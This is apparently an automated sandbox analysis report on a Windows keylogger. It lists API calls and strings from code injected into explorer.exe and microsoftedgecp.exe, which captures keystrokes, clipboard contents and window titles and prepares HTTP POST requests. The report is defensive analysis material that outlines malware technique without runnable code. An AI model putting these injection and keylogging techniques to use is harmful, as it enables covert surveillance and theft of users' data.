Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: MemoryZero$AddressHandleModuleProc
String ID: %s%s%s%s$ntdll.dll$sscanf
API String ID: 1490332519-278825019
Opcode ID: 3ea750e8d140b45d30113fdee2ba468753e2acb2ee35e23134707040854f0f01
Instruction ID: 2f93006b057fbea492d2b312cc178e056bdd2f47052c10eb143eaf19be54a191
Opcode Fuzzy Hash: 3ea750e8d140b45d30113fdee2ba468753e2acb2ee35e23134707040854f0f01
Instruction Fuzzy Hash: 99F0126678072C37C22027AA7C0AE5BBE5CDB56FE63120261B614A32B1DBD5794046B4

Function 001424D5 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 001424E7
GetCurrentThreadId.KERNEL32 ref: 001424EF
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 001424FF
Thread32First.KERNEL32(00000000,0000001C), ref: 0014250D
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 0014252C
SuspendThread.KERNEL32(00000000), ref: 0014253C
CloseHandle.KERNEL32(00000000), ref: 0014254B
Thread32Next.KERNEL32(00000000,0000001C), ref: 0014255B
CloseHandle.KERNEL32(00000000), ref: 00142566

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: 9378d1729d7c7136b6ad6eab4a5cb7b95885e8195f54117cd89e861e50578307
Instruction ID: 3befea721f2bfd38e329ec5c5b91c005015d886216421ec061db0665d042650c
Opcode Fuzzy Hash: 9378d1729d7c7136b6ad6eab4a5cb7b95885e8195f54117cd89e861e50578307
Instruction Fuzzy Hash: 1A118E75404200EFD7119F60AC0CBAEBBA8FF86701F100629F655D7170D7308AC98BA2

Function 00141F4A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00142861: GetProcessHeap.KERNEL32(00000008,0000A000,001410CC), ref: 00142864
Part of subcall function 00142861: RtlAllocateHeap.NTDLL(00000000), ref: 0014286B

Part of subcall function 001427E2: lstrlen.KERNEL32(001440DA,?,00000000,00000000,00141F86,74DE8A60,001440DA,00000000), ref: 001427EA
Part of subcall function 001427E2: MultiByteToWideChar.KERNEL32(00000000,00000000,001440DA,00000001,00000000,00000000), ref: 001427FC

Part of subcall function 00142374: RtlZeroMemory.NTDLL(?,00000018), ref: 00142386

RtlZeroMemory.NTDLL(?,0000003C), ref: 00141FE2
wsprintfW.USER32 ref: 0014211B
wsprintfW.USER32 ref: 00142186
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 00142250

Strings

POST, xrefs: 001420CC
Accept: */*Referer: %S, xrefs: 00142111
Content-Type: application/x-www-form-urlencoded, xrefs: 001421AA
Host: %s, xrefs: 00142180

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: f18c2778dadabfae572720b8b00f3f5ecd1afbb659c1831f9253271992de4d4c
Instruction ID: 345907f8c53750eab34a0dbe5d670a1232b0004e96984397bff63189daed8a43
Opcode Fuzzy Hash: f18c2778dadabfae572720b8b00f3f5ecd1afbb659c1831f9253271992de4d4c
Instruction Fuzzy Hash: 35A16875608301AFD720DF68D885A2FBBE8AB99740F50092DF995D3271DB70DA848B62

Function 001425AD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000400,00000000,?,74DEE800,?,?,microsoftedgecp.exe,00141287), ref: 001425BF
IsWow64Process.KERNEL32(000000FF,?), ref: 001425D1
IsWow64Process.KERNEL32(00000000,?), ref: 001425E4
CloseHandle.KERNEL32(00000000), ref: 001425FA

Strings

microsoftedgecp.exe, xrefs: 001425AD

Memory Dump Source

Source File: 00000010.00000002.4123294336.0000000000141000.00000040.80000000.00040000.00000000.sdmp, Offset: 00141000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_141000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID: microsoftedgecp.exe
API String ID: 331459951-1475183003
Opcode ID: 96575270710c45fdef7c0448f299781a83eda711e6678c48e365be49451f61e8
Instruction ID: 85f6cfab369b637923fe0198a007771ef9b2936c5095f6918d92a65f37878cc6
Opcode Fuzzy Hash: 96575270710c45fdef7c0448f299781a83eda711e6678c48e365be49451f61e8
Instruction Fuzzy Hash: C1F09075902218FF9B10CF909D98CEE776CEB02255B54036AF91093160D7314F84E6A0

Analysis Process: explorer.exePID: 7524, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0077355C Relevance: 1.6, APIs: 1, Instructions: 73
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 007735D8

Memory Dump Source

Source File: 00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp, Offset: 00771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_771000_explorer.jbxd

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction ID: 73de265d2fd155b89473184314cd049e79995ad05f42afc80c7ec7a6f719380e
Opcode Fuzzy Hash: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction Fuzzy Hash: 0311C430711A099FEF58BBBC989E67937A1FB14341F54812AA41DC76A1DA3D8A40C701

Function 00773220 Relevance: 7.7, APIs: 5, Instructions: 241
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00773266
Process32First.KERNEL32 ref: 00773289
Process32Next.KERNEL32 ref: 00773532
CloseHandle.KERNELBASE ref: 00773543
SleepEx.KERNELBASE ref: 0077354E

Memory Dump Source

Source File: 00000012.00000002.4123114957.0000000000771000.00000040.80000000.00040000.00000000.sdmp, Offset: 00771000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_771000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction ID: 57fbfd9eae7bac2701c0fffb4ceaa8801eee6624a4a28eae3a27f9e96fdd021d
Opcode Fuzzy Hash: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction Fuzzy Hash: 0F8135312187488FEB1ADF64EC58BEAB7A1FB51780F54862A9447C7160EF7CDA04DB81

Function 0077A048 Relevance: 4.7, APIs: 3, Instructions: 223
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0077A147
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-0000000E), ref: 0077A1BB
VirtualProtect.KERNELBASE ref: 0077A1D9

Memory Dump Source

Source File: 00000012.00000002.4123114957.0000000000777000.00000040.80000000.00040000.00000000.sdmp, Offset: 00777000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_777000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction ID: f2ccead5af2106c5ba01ca93e5c0d365f8b6830ab99de6d187fd4ab9fec633d1
Opcode Fuzzy Hash: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction Fuzzy Hash: 4C518B3135891D5AFF24AA389CC46BDB3D1E795365F544A3AD08EC3285F91DD846C383

Analysis Process: explorer.exePID: 5088, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	17.7%
Total number of Nodes:	322
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02EF1016 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 193
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EF2724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,02EF29F3,-00000001,02EF128C), ref: 02EF2731

Part of subcall function 02EF2A09: GetProcessHeap.KERNEL32(00000008,0000A000,02EF10BF), ref: 02EF2A0C
Part of subcall function 02EF2A09: RtlAllocateHeap.NTDLL(00000000), ref: 02EF2A13

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 02EF1038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 02EF106C
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 02EF1075
GetCurrentProcessId.KERNEL32(?,02EF1010), ref: 02EF107B
wsprintfA.USER32 ref: 02EF10E7
RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 02EF1155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02EF1160
Process32First.KERNEL32(00000000,?), ref: 02EF117F
CharLowerA.USER32(?), ref: 02EF1199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 02EF11B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02EF1212
Process32Next.KERNEL32(00000000,00000128), ref: 02EF126C
CloseHandle.KERNEL32(00000000), ref: 02EF127F
Sleep.KERNELBASE(000003E8), ref: 02EF129F

Strings

explorer.exe, xrefs: 02EF11AB
microsoftedgecp.exe, xrefs: 02EF1208
%s%s, xrefs: 02EF10E1
keylog_rules=, xrefs: 02EF110D
|:|, xrefs: 02EF1125

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: MemoryMove$HeapProcessProcess32lstrcmpi$AllocateCharCloseCreateCurrentFirstHandleLowerNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtualwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3206029838-2805246637
Opcode ID: ba6307cd1353bdc5c008a9e561fc350564db41e93cc103e59104bc3a673c34db
Instruction ID: 0fd746b216f38d6f93c3cf19739e3b407c0e90447a6e4daf2c9cd93cd9193c26
Opcode Fuzzy Hash: ba6307cd1353bdc5c008a9e561fc350564db41e93cc103e59104bc3a673c34db
Instruction Fuzzy Hash: 73511B30AC03449BD7D4EFB1D844A7A779AEBC4744F809929FF098B2C0EB3099458E61

Function 02EF10A5 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 151
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EF2A09: GetProcessHeap.KERNEL32(00000008,0000A000,02EF10BF), ref: 02EF2A0C
Part of subcall function 02EF2A09: RtlAllocateHeap.NTDLL(00000000), ref: 02EF2A13

wsprintfA.USER32 ref: 02EF10E7

Part of subcall function 02EF276D: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 02EF2777
Part of subcall function 02EF276D: MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,02EF10FE), ref: 02EF2789

RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 02EF1155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02EF1160
Process32First.KERNEL32(00000000,?), ref: 02EF117F
CharLowerA.USER32(?), ref: 02EF1199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 02EF11B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 02EF1212
Process32Next.KERNEL32(00000000,00000128), ref: 02EF126C
CloseHandle.KERNEL32(00000000), ref: 02EF127F
Sleep.KERNELBASE(000003E8), ref: 02EF129F

Strings

explorer.exe, xrefs: 02EF11AB
microsoftedgecp.exe, xrefs: 02EF1208
%s%s, xrefs: 02EF10E1
keylog_rules=, xrefs: 02EF110D
|:|, xrefs: 02EF1125

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: FileHeapProcess32lstrcmpi$AllocateCharCloseCreateFirstHandleLowerMappingMemoryMoveNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3018447944-2805246637
Opcode ID: 3224f34c0507d996af11d1546eca5879584bda30ca99cf6eadeda5980be11bf0
Instruction ID: cf916c4034dd686261309397e6bb2e79ec7d67fd30535c0183824ab17d22b4a5
Opcode Fuzzy Hash: 3224f34c0507d996af11d1546eca5879584bda30ca99cf6eadeda5980be11bf0
Instruction Fuzzy Hash: 6F410E306C43449BD7D4EFB1884497E779AEBC4754F409928FF4A8B1C0EB30D9459E61

Function 02EF9AE0 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF8000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef8000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58aa2ae726f6cb9fae6899fc115e329ef707962e204ca4a1ecf8058cfa77fb81
Instruction ID: 9cc52786d43e4efdf0ae4d7bee95b1929ffff955b21f51bc8c94145e61d693d1
Opcode Fuzzy Hash: 58aa2ae726f6cb9fae6899fc115e329ef707962e204ca4a1ecf8058cfa77fb81
Instruction Fuzzy Hash: 845149B1A846528BD7608E78CCE07F0B794EB81228B189779C6E6CB3C7E7945806C764

Function 02EF276D Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 02EF2777
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,02EF10FE), ref: 02EF2789

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6362d92363eb1a87dbcf5a7b55e0d0515b7105649de0adad1d65075f1a263c3e
Instruction ID: 5d49b6ed8d2bd92ed1a681db32ff05d5976d620696fc15cdc57972977815c3a6
Opcode Fuzzy Hash: 6362d92363eb1a87dbcf5a7b55e0d0515b7105649de0adad1d65075f1a263c3e
Instruction Fuzzy Hash: FFD01231B812317BD3745A776C0CF837E9DDFC5AE1B014025B60DD2140E6508810C2F0

Function 02EF275A Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,?,02EF129A,00000001), ref: 02EF275E
CloseHandle.KERNELBASE(?,?,02EF129A,00000001), ref: 02EF2765

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: 9ac1cd08dec6568aeb58976598fe59a461252a58390c6cec6dc26baa6d2ff410
Instruction ID: c2a16f7d9f9190215072f252f6dd589b9523b267bc7790b20f34831aa857c7ca
Opcode Fuzzy Hash: 9ac1cd08dec6568aeb58976598fe59a461252a58390c6cec6dc26baa6d2ff410
Instruction Fuzzy Hash: C7B01236CC607097C3942736780C8DB3F18EFC922134509C6F30D8150057240891C6EC

Function 02EF2A09 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,02EF10BF), ref: 02EF2A0C
RtlAllocateHeap.NTDLL(00000000), ref: 02EF2A13

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 1f8f8c705b4447f65206f4ae68c31eab1900a25461ae81106b640ad5bd64c736
Instruction ID: 069e3b29b02bea07f5c832dfbc12eaf15eeb3164076a5c80bebc02f4a6e7df03
Opcode Fuzzy Hash: 1f8f8c705b4447f65206f4ae68c31eab1900a25461ae81106b640ad5bd64c736
Instruction Fuzzy Hash: C9A002B1ED01406BDD845BA5990DF157758A7C4702F4049C67346C5440DD7554D48721

Non-executed Functions

Function 02EF18BF Relevance: 45.7, APIs: 23, Strings: 3, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EF2724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,02EF29F3,-00000001,02EF128C), ref: 02EF2731

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000000,00000001), ref: 02EF18F4
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 02EF192F
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 02EF19BF
RtlMoveMemory.NTDLL(00000000,02EF3638,00000016), ref: 02EF19E6
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 02EF1A0E
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 02EF1A1E
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 02EF1A38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 02EF1A40
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1A4E
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1A55
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 02EF1A6B
GetProcAddress.KERNEL32(00000000), ref: 02EF1A72
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02EF1A88
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02EF1AB2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 02EF1AC5
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1ACC
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1AD3
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 02EF1AE7
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02EF1AFE
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1B0B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1B11
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 02EF1B17
CloseHandle.KERNEL32(00000000,?,00000000), ref: 02EF1B1A

Strings

opera_shared_counter, xrefs: 02EF1A31
atan, xrefs: 02EF1A61
ntdll, xrefs: 02EF1A66

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Handle$Close$MemoryProcess$Create$MoveRemoteSectionSleepThreadUnmapViewWrite$AddressErrorInformationLastModuleMutexOpenProcQueryReadVirtual
String ID: atan$ntdll$opera_shared_counter
API String ID: 1066286714-2737717697
Opcode ID: 5c71a3d7d071e7e92991fb19d2f3deff48f3a0e388e80bdf724d01ab51bcc794
Instruction ID: 23ed4b0b279add955bed6d08e1dfa18347182cbfaf1651c985fafa5d702a5cdf
Opcode Fuzzy Hash: 5c71a3d7d071e7e92991fb19d2f3deff48f3a0e388e80bdf724d01ab51bcc794
Instruction Fuzzy Hash: 6061AE31A84349EFD790DF258C84E6BBBEDEB88758F404959FA49D7280D770D8448B62

Function 02EF2799 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 68
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 02EF27B5
CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 02EF27CD
lstrlen.KERNEL32(?,00000000), ref: 02EF27D5
CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 02EF27E0
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 02EF27FA
wsprintfA.USER32 ref: 02EF2811
CryptDestroyHash.ADVAPI32(?), ref: 02EF282A
CryptReleaseContext.ADVAPI32(?,00000000), ref: 02EF2834

Strings

%02X, xrefs: 02EF280B

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: 2c7f4d655d324b0bcc5cc6b39c37e2999912e61f84d25e79665c4ad5ad0b91de
Instruction ID: 4332d21890182f56721838b11f95d6f57e1366346d40b7f92bef5298626373cf
Opcode Fuzzy Hash: 2c7f4d655d324b0bcc5cc6b39c37e2999912e61f84d25e79665c4ad5ad0b91de
Instruction Fuzzy Hash: 391182B1D80148BFEB519B96DC48EEEBF7DEB88305F5044A6FB05E2100D7314E519B60

Function 02EF162B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 02EF1652
ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 02EF167A

Strings

, xrefs: 02EF1699

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: KeyboardStateUnicode
String ID:
API String ID: 3453085656-3916222277
Opcode ID: d75f62a43f54eff80c96e27d27d7d7afa9f19469c41357645b9b25ab415f3e0c
Instruction ID: 52f94302c1e17278f116af3542af777ddc3bf4526a06f066c99f3bff41cc9b3d
Opcode Fuzzy Hash: d75f62a43f54eff80c96e27d27d7d7afa9f19469c41357645b9b25ab415f3e0c
Instruction Fuzzy Hash: 8401D632D8020DDBDB70CA11D944BFB73BCAF45708F4A942AEB09EA040D730D5818AA1

Function 02EF13AE Relevance: 38.6, APIs: 17, Strings: 5, Instructions: 144
libraryloaderthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlZeroMemory.NTDLL(02EF5013,0000001C), ref: 02EF13C8
VirtualQuery.KERNEL32(02EF13AE,?,0000001C), ref: 02EF13DA
GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 02EF140B
GetCurrentProcessId.KERNEL32(00000004), ref: 02EF141C
wsprintfA.USER32 ref: 02EF1433
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02EF1448
GetLastError.KERNEL32 ref: 02EF144E
RtlInitializeCriticalSection.NTDLL(02EF582C), ref: 02EF1465
Sleep.KERNEL32(000001F4), ref: 02EF1489
GetModuleHandleA.KERNEL32(user32.dll,TranslateMessage), ref: 02EF14A6
GetProcAddress.KERNEL32(00000000), ref: 02EF14AF
GetModuleHandleA.KERNEL32(user32.dll,GetClipboardData), ref: 02EF14D0
GetProcAddress.KERNEL32(00000000), ref: 02EF14D3
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02EF14F1
CreateThread.KERNEL32(00000000,00000000,Function_0000082D,00000000,00000000,00000000), ref: 02EF150D
CloseHandle.KERNEL32(00000000), ref: 02EF1514
RtlExitUserThread.NTDLL(00000000), ref: 02EF152A

Strings

%s%d%d%d, xrefs: 02EF142D
kernel32.dll, xrefs: 02EF14EC
TranslateMessage, xrefs: 02EF149C
GetClipboardData, xrefs: 02EF14C6
user32.dll, xrefs: 02EF14A1, 02EF14CB

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: HandleModule$AddressCreateProcThread$CloseCriticalCurrentErrorExitFileInitializeLastMemoryMutexNameProcessQuerySectionSleepUserVirtualZerowsprintf
String ID: %s%d%d%d$GetClipboardData$TranslateMessage$kernel32.dll$user32.dll
API String ID: 3628807430-1779906909
Opcode ID: 2f837a755a895473434a32e050b7527463e0e4cca2bc6569747b503d29e98a0a
Instruction ID: e036639069bdfade118dbe9b40a3c30a3ec241548d7fd640b4c3a6a5c362b85e
Opcode Fuzzy Hash: 2f837a755a895473434a32e050b7527463e0e4cca2bc6569747b503d29e98a0a
Instruction Fuzzy Hash: 8541D970EC0348FBE7D0AB66DC19E1A3B6EFBD4754780D859FB068A640DB7194508BA1

Function 02EF16B9 Relevance: 28.1, APIs: 12, Strings: 4, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.NTDLL(02EF582C), ref: 02EF16C4
lstrlenW.KERNEL32 ref: 02EF16DB
lstrlenW.KERNEL32 ref: 02EF16F3
wsprintfW.USER32 ref: 02EF1743
GetForegroundWindow.USER32 ref: 02EF174E
GetWindowTextW.USER32(00000000,02EF5850,00000800), ref: 02EF1767
GetClassNameW.USER32(00000000,02EF5850,00000800), ref: 02EF1774
lstrcmpW.KERNEL32(02EF5020,02EF5850), ref: 02EF1781
lstrcpyW.KERNEL32(02EF5020,02EF5850), ref: 02EF178D
wsprintfW.USER32 ref: 02EF17AD
lstrcatW.KERNEL32 ref: 02EF17C6
RtlLeaveCriticalSection.NTDLL(02EF582C), ref: 02EF17D3

Strings

%s%s%s, xrefs: 02EF1738
New Window Caption -> , xrefs: 02EF179A
Clipboard -> , xrefs: 02EF1730
%s%s%s%s, xrefs: 02EF17A2

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: CriticalSectionWindowlstrlenwsprintf$ClassEnterForegroundLeaveNameTextlstrcatlstrcmplstrcpy
String ID: Clipboard -> $ New Window Caption -> $%s%s%s$%s%s%s%s
API String ID: 2651329914-3371406555
Opcode ID: 822ad708b9a90ccc1894f8bf3e8e6e5c7b2a8ac0dc23c4ff5f93fca43ab7e1ab
Instruction ID: 7e14fe499e39cf52d8a7d5fe8e23112c844dad85a40d8c9bc17c43db98c12080
Opcode Fuzzy Hash: 822ad708b9a90ccc1894f8bf3e8e6e5c7b2a8ac0dc23c4ff5f93fca43ab7e1ab
Instruction Fuzzy Hash: 0121DB30DC0248FBD3E02B27EC44A2B3F59EBC17547D4D864F70956541CB218C61C6B5

Function 02EF25F1 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 02EF2603
GetCurrentThreadId.KERNEL32 ref: 02EF260B
